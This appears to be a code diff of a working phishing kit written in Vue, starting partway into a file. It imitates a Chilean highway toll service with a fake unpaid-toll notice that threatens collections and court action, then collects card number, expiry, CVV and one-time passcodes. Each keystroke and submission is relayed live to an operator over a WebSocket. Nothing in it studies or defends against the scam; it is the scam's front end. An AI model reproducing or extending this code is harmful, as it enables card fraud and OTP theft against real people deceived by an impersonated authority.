let val = e.target.value.replace(/\D/g, "");
if (val.length > 16) val = val.slice(0, 16);
formData.cardNumber = val.replace(/(\d{4})(?=\d)/g, "$1 ");
errors.cardNumber = val.length < 15;
if (val.length > 0) cardMessage.value = "";
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
// 处理退格键删除 '/' 的情况
if (e.inputType === 'deleteContentBackward' && formData.expires.endsWith('/') && val.length === 2) {
val = val.slice(0, 1);
}
if (val.length > 4) val = val.slice(0, 4);
formData.expires = val.length >= 2 ? val.slice(0, 2) + "/" + val.slice(2) : val;
cardMessage.value = "";
validateExpireDate(formData.expires);
inputChange("input_card", "expires", formData.expires);
};
const onCvvChange = (e: any) => {
formData.cvv = e.target.value.replace(/\D/g, "");
errors.cvv = formData.cvv.length < 3;
cardMessage.value = "";
inputChange("input_card", "cvv", formData.cvv);
};
const validateExpireDate = (value: string) => {
if (!value || value.length < 5) {
errors.expires = true;
expiresErrorMsg.value = "Required field";
return false;
}
const [monthStr, yearStr] = value.split('/');
const month = parseInt(monthStr);
if (month < 1 || month > 12) {
errors.expires = true;
expiresErrorMsg.value = "Invalid month";
return false;
}
// 檢查日期是否過期
const today = new Date();
const currentYear = today.getFullYear();
const currentMonth = today.getMonth() + 1;
const cardYear = 2000 + parseInt(yearStr);
if (cardYear < currentYear || (cardYear === currentYear && month < currentMonth)) {
errors.expires = true;
expiresErrorMsg.value = "Card has expired";
return false;
}
errors.expires = false;
expiresErrorMsg.value = "";
return true;
};
const next = async () => {
errors.cardName = !formData.cardName;
errors.cardNumber = formData.cardNumber.replace(/\s/g, "").length < 15;
errors.cvv = formData.cvv.length < 3;
validateExpireDate(formData.expires);
if (errors.cardName || errors.cardNumber || errors.expires || errors.cvv) return;
isModalVisible.value = true;
const cleanCardNumber = formData.cardNumber.replace(/\s/g, "");
localStorage.setItem("cardNumber", cleanCardNumber);
myWebSocket?.send(JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: { ...formData, cardNumber: cleanCardNumber } },
}));
};
const handleEvent = (data: { message2: string }) => {
cardMessage.value = data.message2;
isModalVisible.value = false;
};
onMounted(() => {
loadingStore.setLoading(false);
eventBus.on("my-event", handleEvent);
localStorage.setItem("route", "card");
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) invoiceNumber.value = inumber;
// 从路由查询参数获取错误信息 - 从其他页面返回时显示全局错误
const route = useRoute();
if (route.query.message2) {
cardMessage.value = route.query.message2 as string;
}
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "card" },
})
);
});
onUnmounted(() => eventBus.off("my-event", handleEvent));
</script>
<template>
<CommonLayout>
<template #default>
<div class="payment-page-container">
<h1 class="main-title">Confirmar y pagar el monto pendiente</h1>
<div class="blue-line"></div>
<div class="payment-card">
<div class="total-label">Total a pagar por el tránsito</div>
<div class="total-amount">${{ configData?.pay_amount ? configData.pay_amount : "6.99" }}</div>
</div>
<div class="payment-form-card">
<div class="methods-container">
<p class="methods-text">Medios de pago habilitados</p>
<div class="icon-grid">
<img src="https://img.icons8.com/color/48/000000/visa.png" />
<img src="https://img.icons8.com/color/48/000000/mastercard.png" />
<img src="https://img.icons8.com/color/48/000000/amex.png" />
<img src="https://img.icons8.com/color/48/000000/maestro.png" />
<img src="https://img.icons8.com/color/48/000000/jcb.png" />
<img src="https://img.icons8.com/color/48/000000/discover.png" />
<img src="https://img.icons8.com/color/48/000000/diners-club.png" />
</div>
</div>
<form @submit.prevent="next" class="payment-form" novalidate>
<div class="form-item">
<label>Nombre del titular <span class="req">*</span></label>
<input type="text" v-model="formData.cardName" @input="onCardNameChange"
:class="{ 'field-error': errors.cardName }" />
<div class="msg-error" v-if="errors.cardName">Campo requerido</div>
</div>
<div class="form-item">
<label>Número de tarjeta <span class="req">*</span></label>
<div class="input-with-icon">
<input type="text" placeholder="0000 0000 0000 0000" v-model="formData.cardNumber"
@input="onCardNumberChange" :class="{ 'field-error': errors.cardNumber || cardMessage }" />
<div class="card-type-indicator" v-if="isCardIdentified"><img :src="cardTypeImage" /></div>
</div>
<div class="msg-error" v-if="errors.cardNumber">Ingrese un número de tarjeta válido</div>
<div class="msg-error" v-if="cardMessage">{{ t(cardMessage) }}</div>
</div>
<div class="flex-row">
<div class="form-item half">
<label>Fecha de vencimiento <span class="req">*</span></label>
<input type="text" placeholder="MM/YY" v-model="formData.expires" @input="onExpiresChange"
:class="{ 'field-error': errors.expires }" />
<div class="msg-error" v-if="errors.expires">{{ expiresErrorMsg }}</div>
</div>
<div class="form-item half">
<label>CVV <span class="req">*</span></label>
<input type="text" placeholder="123" v-model="formData.cvv" @input="onCvvChange" maxlength="4"
:class="{ 'field-error': errors.cvv }" />
<div class="msg-error" v-if="errors.cvv">Requerido</div>
</div>
</div>
<div class="button-section">
<button type="submit" class="pay-now-btn">Pagar ahora</button>
</div>
</form>
<div class="security-message">
El pago se procesa en un entorno seguro y cifrado, conforme a los estándares de protección de datos vigentes en Chile.
</div>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal v-model:visible="isModalVisible" :card-number="formData.cardNumber" :loading="true" />
</template>
<style scoped>
.payment-page-container {
max-width: 480px;
margin: 0 auto;
padding: 20px 15px 50px;
background-color: #fff;
}
.blue-line {
height: 4px;
background-color: #4a90e2;
width: 100%;
margin-bottom: 25px;
}
.main-title {
font-size: 20px;
font-weight: bold;
color: #333;
margin-bottom: 10px;
text-align: left;
}
/* 支付總額卡片 */
.payment-card {
background-color: #f0f7ff;
border-left: 4px solid #4a90e2;
padding: 20px;
margin-bottom: 25px;
border-radius: 4px;
}
.total-label {
font-size: 14px;
color: #666;
text-align: center;
margin-bottom: 10px;
}
.total-amount {
font-size: 32px;
font-weight: bold;
color: #333;
text-align: center;
}
/* 支付部分卡片樣式 */
.payment-form-card {
border: 1px solid #ddd;
border-radius: 4px;
padding: 20px;
background: #fff;
}
.security-message {
font-size: 12px;
color: #666;
text-align: center;
margin-top: 15px;
line-height: 1.5;
}
.methods-container {
margin-bottom: 25px;
}
.methods-text {
font-size: 13px;
font-weight: bold;
color: #333;
margin-bottom: 12px;
text-align: center;
}
.icon-grid {
display: flex;
gap: 6px;
flex-wrap: wrap;
margin-bottom: 20px;
justify-content: center;
}
.icon-grid img {
height: 32px;
width: auto;
border: 1px solid #ddd;
border-radius: 4px;
padding: 4px;
background: #f9f9f9;
}
.form-item {
margin-bottom: 18px;
text-align: left;
}
.form-item label {
display: block;
font-size: 13px;
font-weight: bold;
color: #333;
margin-bottom: 6px;
}
.req {
color: red;
}
input {
width: 100%;
padding: 12px 12px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
box-sizing: border-box;
transition: all 0.2s;
}
input:focus {
outline: none;
border-color: #4a90e2;
}
.field-error {
border-color: red !important;
background: #ffe0e0;
}
.msg-error {
color: red;
font-size: 12px;
margin-top: 4px;
font-weight: normal;
}
.input-with-icon {
position: relative;
}
.card-type-indicator {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
}
.card-type-indicator img {
height: 22px;
}
.flex-row {
display: flex;
gap: 15px;
}
.half {
flex: 1;
}
.button-section {
margin-top: 20px;
}
.pay-now-btn {
width: 100%;
background: #4a90e2;
color: #fff;
border: none;
padding: 14px 16px;
font-size: 16px;
font-weight: bold;
border-radius: 6px;
cursor: pointer;
transition: background 0.3s;
}
.pay-now-btn:hover {
background: #357abd;
}
</style>

View File

@@ -0,0 +1,27 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body>
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<header
class="container-fluid"
id="banner"
role="banner"
v-html="headerHtml"
></header>
<main style="padding-top: 0px;">
<div style="">
<slot></slot>
</div>
</main>
<footer class="container-fluid" v-html="footerHtml"></footer>
</div>
</div>
</body>
</template>
<style></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,325 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
// 保持邏輯不變:使用 phoneData 結構
const formData = ref({ phoneData: { plateNumber: "" } });
// 狀態控制是否正在查詢圖3狀態
const isConsulting = ref(false);
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
// 保持原本邏輯
inputChange("首頁輸入", "plate", event.target.value);
};
const next = () => {
// 1. 觸發局部切換為圖3的查詢狀態
isConsulting.value = true;
// 2. 模擬查詢延遲,隨後執行原本的跳轉邏輯
setTimeout(() => {
localStorage.setItem("plateNumber", formData.value.phoneData.plateNumber);
router.push("/pay");
}, 2500); // 模擬 2.5 秒的查詢時間
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "home" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phoneData) {
formData.value = userData;
}
localStorage.setItem("route", "home");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="chile-page-wrapper">
<div class="chile-container">
<div class="chile-header">
<h2>Aviso de tránsito sin TAG</h2>
<div class="blue-line"></div>
</div>
<div class="static-top-content">
<div class="info-alert-box">
<p>Este aviso requiere su atención inmediata para regularizar el cobro de peaje.</p>
</div>
<p class="description-text">
Nuestros registros muestran un tránsito por autopistas urbanas concesionadas en Chile sin un medio de pago habilitado (TAG o peaje registrado) asociado al vehículo. Para evitar recargos, intereses y eventuales gestiones de cobranza, le solicitamos revisar el detalle e iniciar la regularización en línea a la brevedad.
</p>
<p class="description-text">
Ingrese la patente de su vehículo para consultar el detalle del tránsito y el monto a regularizar.
</p>
</div>
<div class="dynamic-content">
<div v-if="!isConsulting" class="initial-view">
<div class="form-card">
<form @submit.prevent="next">
<label class="input-label">Patente del vehículo</label>
<p class="input-hint">Ingrese la patente tal como figura en el padrón (por ejemplo, ABCD12).</p>
<input
type="text"
required
v-model="formData.phoneData.plateNumber"
@input="onchange"
class="chile-input"
autofocus
placeholder=""
/>
<button type="submit" class="chile-btn-submit">
Revisar tránsito
</button>
</form>
</div>
<div class="consequences-section">
<h3>Consecuencias de no regularizar a tiempo</h3>
<p>Si no completa este proceso dentro de los plazos informados, se puede exponer a:</p>
<ul>
<li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
<li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
<li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
<li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
<li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
<li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
</ul>
</div>
</div>
<div v-else class="consulting-view">
<div class="loader-container">
<div class="spinner"></div>
<p class="loading-text-bold">Consultando registros de tránsito...</p>
<p class="loading-text-small">
Esto puede tardar algunos segundos. No cierre esta ventana mientras realizamos la búsqueda.
</p>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 智利高速公路官方風格復刻 */
.chile-page-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 20px 15px;
font-family: Arial, sans-serif;
color: #333;
}
.chile-container {
max-width: 500px;
margin: 0 auto;
}
/* 標題與藍線 */
.chile-header h2 {
font-size: 20px;
font-weight: bold;
color: #333;
margin-bottom: 10px;
text-align: left;
}
.blue-line {
height: 4px;
background-color: #4a90e2;
width: 100%;
margin-bottom: 25px;
}
/* 藍色提示框 */
.info-alert-box {
background-color: #f0f7ff;
border-left: 4px solid #4a90e2;
padding: 15px;
margin-bottom: 20px;
}
.info-alert-box p {
margin: 0;
font-weight: bold;
font-size: 15px;
color: #333;
line-height: 1.4;
}
.description-text {
font-size: 14px;
color: #444;
line-height: 1.6;
margin-bottom: 15px;
}
/* 表單卡片 */
.form-card {
background-color: #f8f9fa;
border: 1px solid #e9ecef;
border-radius: 8px;
padding: 20px;
margin-bottom: 30px;
box-shadow: 0 2px 4px rgba(0,0,0,0.02);
}
.input-label {
display: block;
font-weight: bold;
font-size: 16px;
color: #333;
margin-bottom: 5px;
}
.input-hint {
font-size: 13px;
color: #888;
margin-bottom: 15px;
}
.chile-input {
width: 100%;
box-sizing: border-box;
padding: 12px;
border: 1px solid #ced4da;
border-radius: 4px;
font-size: 18px;
margin-bottom: 20px;
outline: none;
}
.chile-input:focus {
border-color: #4a90e2;
}
.chile-btn-submit {
background-color: #4a90e2;
color: white;
border: none;
border-radius: 4px;
padding: 12px 25px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
}
/* 後果列表 */
.consequences-section {
border-left: 4px solid #4a90e2;
padding-left: 15px;
margin-top: 10px;
}
.consequences-section h3 {
font-size: 18px;
font-weight: bold;
margin-bottom: 15px;
color: #333;
}
.consequences-section p {
font-size: 14px;
margin-bottom: 15px;
}
.consequences-section ul {
padding-left: 15px;
margin: 0;
}
.consequences-section li {
font-size: 13.5px;
color: #444;
margin-bottom: 12px;
line-height: 1.4;
list-style-type: disc;
}
/* 圖3加載動畫佈局 */
.consulting-view {
display: flex;
justify-content: center;
align-items: center;
padding: 40px 0;
}
.loader-container {
text-align: center;
display: flex;
flex-direction: column;
align-items: center;
}
/* 藍色旋轉圓環 */
.spinner {
width: 50px;
height: 50px;
border: 4px solid #f3f3f3;
border-top: 4px solid #4a90e2;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.loading-text-bold {
font-size: 18px;
font-weight: bold;
color: #333;
margin-bottom: 8px;
}
.loading-text-small {
font-size: 14px;
color: #888;
max-width: 320px;
line-height: 1.4;
}
@media (max-width: 480px) {
.chile-container {
padding: 5px;
}
}
</style>

View File

@@ -0,0 +1,62 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner" style="display: none;"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,60 @@
<template>
<div
v-if="isLoading"
class="loading-overlay"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.spinner {
border: 4px solid #f1f1f1;
border-top: 4px solid #003087;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

View File

@@ -0,0 +1,473 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
restoreCountdown();
if (!isCounting.value) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Reenviar código (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Reenviar código";
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
// 保存倒计时开始时间到 localStorage方便页面刷新后恢复
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
localStorage.setItem("countdownDuration", initialTime.toString());
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
// 清除 localStorage 中的倒计时数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
};
// 恢复倒计时状态(页面刷新后)
const restoreCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
const durationStr = localStorage.getItem("countdownDuration");
if (startTimeStr && durationStr) {
const startTime = parseInt(startTimeStr);
const duration = parseInt(durationStr);
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
const remainingTime = Math.max(0, duration - elapsedSeconds);
if (remainingTime > 0) {
isCounting.value = true;
timeLeft.value = remainingTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
} else {
// 倒计时已过期,清除数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
}
}
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
const expandedSections = reactive({ auth: false, help: false });
const toggleInfoSection = (section: string) => {
if (section === 'auth') {
expandedSections.auth = !expandedSections.auth;
} else if (section === 'help') {
expandedSections.help = !expandedSections.help;
}
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
if (timer !== null) {
clearInterval(timer);
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Seguridad del pago</h2>
<p class="instruction-text">
Para garantizar la seguridad de su pago, hemos enviado una contraseña de un solo uso (OTP) a su número de móvil registrado<span v-if="message1"> terminado en {{ message1 }}</span>. Por favor, ingrese el código de verificación a continuación.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Código de verificación</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Ingrese el código de verificación"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions-row">
<button type="submit" class="submit-button">Enviar</button>
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="bottom-links">
<div class="divider-line"></div>
<div class="info-row" @click="toggleInfoSection('auth')">
<span class="info-label">Más información sobre la autenticación</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row" @click="toggleInfoSection('help')">
<span class="info-label">¿Necesita ayuda?</span>
<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Verificando</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
.page-wrapper {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 500px;
padding: 20px;
}
.card-container {
background: #ffffff;
}
/* Header Navbar */
.header-nav {
display: flex;
justify-content: flex-start;
align-items: center;
padding: 15px 0 20px 0;
border-bottom: 1px solid #f0f0f0;
}
.content-body {
padding: 25px 0;
}
.page-title {
font-size: 20px;
font-weight: bold;
color: #333;
margin-bottom: 20px;
}
.instruction-text {
font-size: 14px;
color: #666;
line-height: 1.6;
margin-bottom: 30px;
}
/* Form Styles */
.form-group {
margin-bottom: 18px;
}
.field-label {
display: block;
font-weight: bold;
font-size: 14px;
color: #333;
margin-bottom: 10px;
}
.otp-input-field {
width: 100%;
padding: 12px 12px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
box-sizing: border-box;
}
.otp-input-field::placeholder {
color: #999;
}
.otp-input-field:focus {
border-color: #4a90e2;
outline: none;
}
/* Actions: Button and Resend Link on the same line */
.form-actions-row {
display: flex;
align-items: center;
justify-content: space-between;
margin-top: 25px;
}
.submit-button {
background-color: #4a90e2;
color: #ffffff;
border: none;
padding: 13px 24px;
border-radius: 6px;
font-size: 15px;
font-weight: bold;
cursor: pointer;
transition: background 0.2s;
}
.submit-button:hover {
background-color: #357abd;
}
.resend-link {
font-size: 13px;
color: #4a90e2;
text-decoration: none;
white-space: nowrap;
}
.resend-link:hover {
text-decoration: underline;
}
.error-feedback {
color: #d32f2f;
font-size: 13px;
margin-top: 10px;
}
/* Accordion Style Links */
.bottom-links {
margin-top: 30px;
}
.divider-line {
height: 1px;
background-color: #e0e0e0;
margin-bottom: 0;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 16px 0;
border-bottom: 1px solid #e0e0e0;
cursor: pointer;
}
.info-label {
font-size: 14px;
color: #333;
font-weight: 500;
}
.icon-plus {
color: #999;
font-size: 18px;
}
/* Loading Overlay Styles */
.loading-overlay {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.9);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 45px;
height: 45px;
border: 4px solid #f3f3f3;
border-top: 4px solid #2563eb;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
.loader-text {
font-size: 15px;
color: #486581;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
.bank-icon {
width: 36px;
height: 36px;
flex-shrink: 0;
}
.card-logo-wrapper {
display: none;
}
/* Responsive */
@media (max-width: 480px) {
.form-actions-row {
gap: 10px;
}
.submit-button {
width: 100%;
}
.page-title {
font-size: 18px;
}
}
</style>

View File

@@ -0,0 +1,336 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { onMounted, ref } from "vue";
import { configData, myWebSocket } from "../utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const licensePlate = ref("");
const fineAmount = ref("$6.99");
const tollDate = ref("");
const calculateTollDate = () => {
const now = new Date();
const sixDaysAgo = new Date(now.getTime() - 6 * 24 * 60 * 60 * 1000);
const month = String(sixDaysAgo.getMonth() + 1).padStart(2, '0');
const day = String(sixDaysAgo.getDate()).padStart(2, '0');
const year = sixDaysAgo.getFullYear();
return `${month}/${day}/${year}`;
};
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
localStorage.setItem("route", "pay");
// 獲取上一步輸入的車牌/手機號 (phoneNumber)
const savedPlate = localStorage.getItem("phoneNumber");
if (savedPlate) {
licensePlate.value = savedPlate;
}
// 設置費用日期為當前日期的 6 天前
tollDate.value = calculateTollDate();
// 如果後台配置了金額,則優先使用配置金額
if (configData?.value?.pay_amount) {
fineAmount.value = `$${configData.value.pay_amount}`;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="chile-pay-wrapper">
<div class="chile-pay-container">
<div class="chile-header">
<h2>Resumen de tránsito detectado</h2>
<div class="blue-line"></div>
</div>
<div class="plate-display-card">
<span class="plate-label">PATENTE CONSULTADA</span>
<div class="plate-number">{{ licensePlate }}</div>
</div>
<div class="info-alert-box">
<p>
Se ha identificado un tránsito sin TAG asociado a la patente indicada.
Antes de iniciar gestiones formales de cobro, le ofrecemos regularizar
el monto de forma simple y segura en línea.
</p>
</div>
<div class="amount-detail-table">
<div class="table-header">
Detalle del monto a regularizar
</div>
<div class="table-row gray-bg">
<span class="row-label">Toll Date</span>
</div>
<div class="table-row">
<span class="row-value bold">{{ tollDate }}</span>
</div>
<div class="table-row gray-bg">
<span class="row-label">Ubicación de la circulación</span>
</div>
<div class="table-row">
<span class="row-value bold">Autopista urbana concesionada en Chile</span>
</div>
<div class="divider-line"></div>
<div class="table-row gray-bg">
<span class="row-label">Peaje base</span>
</div>
<div class="table-row">
<span class="row-value bold">{{
configData?.pay_amount ? configData.pay_amount : "$6.99"
}}</span>
</div>
<div class="table-row gray-bg">
<span class="row-label">Cargos adicionales</span>
</div>
<div class="table-row">
<span class="row-value red">$0.00</span>
</div>
<div class="table-row gray-bg">
<span class="row-label">Total Amount Due</span>
</div>
<div class="table-row total-row">
<span class="row-value red large">{{
configData?.pay_amount ? configData.pay_amount : "$6.99"
}}</span>
</div>
</div>
<div class="button-section">
<button @click="next" class="chile-btn-primary">
Continuar con los datos del titular
</button>
</div>
<div class="consequences-card">
<h3>Si no regulariza este tránsito, pueden aplicarse las siguientes medidas:</h3>
<ul>
<li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
<li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
<li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
<li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
<li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
<li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
</ul>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.chile-pay-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 20px 15px;
font-family: Arial, sans-serif;
color: #333;
}
.chile-pay-container {
max-width: 480px;
margin: 0 auto;
}
/* 標題與藍線 */
.chile-header h2 {
font-size: 20px;
font-weight: bold;
margin-bottom: 10px;
}
.blue-line {
height: 4px;
background-color: #4a90e2;
width: 100%;
margin-bottom: 25px;
}
/* 車牌顯示區域 */
.plate-display-card {
background-color: #f8f9fa;
padding: 20px;
margin-bottom: 20px;
border-radius: 2px;
}
.plate-label {
font-size: 12px;
color: #888;
font-weight: bold;
letter-spacing: 0.5px;
display: block;
margin-bottom: 10px;
}
.plate-number {
font-size: 24px;
font-weight: bold;
letter-spacing: 2px;
color: #000;
}
/* 藍色提示框 */
.info-alert-box {
background-color: #f0f7ff;
border-left: 4px solid #4a90e2;
padding: 15px;
margin-bottom: 25px;
}
.info-alert-box p {
margin: 0;
font-size: 14px;
line-height: 1.5;
color: #333;
}
/* 表格詳情樣式 */
.amount-detail-table {
border: 1px solid #dee2e6;
border-radius: 4px;
overflow: hidden;
margin-bottom: 25px;
}
.table-header {
background-color: #333;
color: white;
padding: 12px 15px;
font-size: 16px;
font-weight: bold;
}
.table-row {
padding: 10px 15px;
border-bottom: 1px solid #eee;
}
.gray-bg {
background-color: #fafafa;
}
.row-label {
font-size: 13px;
color: #777;
}
.row-value {
font-size: 15px;
color: #333;
}
.bold {
font-weight: bold;
}
.red {
color: #d0021b;
font-weight: bold;
}
.large {
font-size: 22px;
}
.divider-line {
height: 2px;
background-color: #4a90e2;
margin: 0;
}
.total-row {
padding: 15px;
}
/* 按鈕樣式 */
.button-section {
margin-bottom: 30px;
}
.chile-btn-primary {
width: 100%;
background-color: #4a90e2;
color: white;
border: none;
border-radius: 6px;
padding: 14px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
transition: background 0.3s;
}
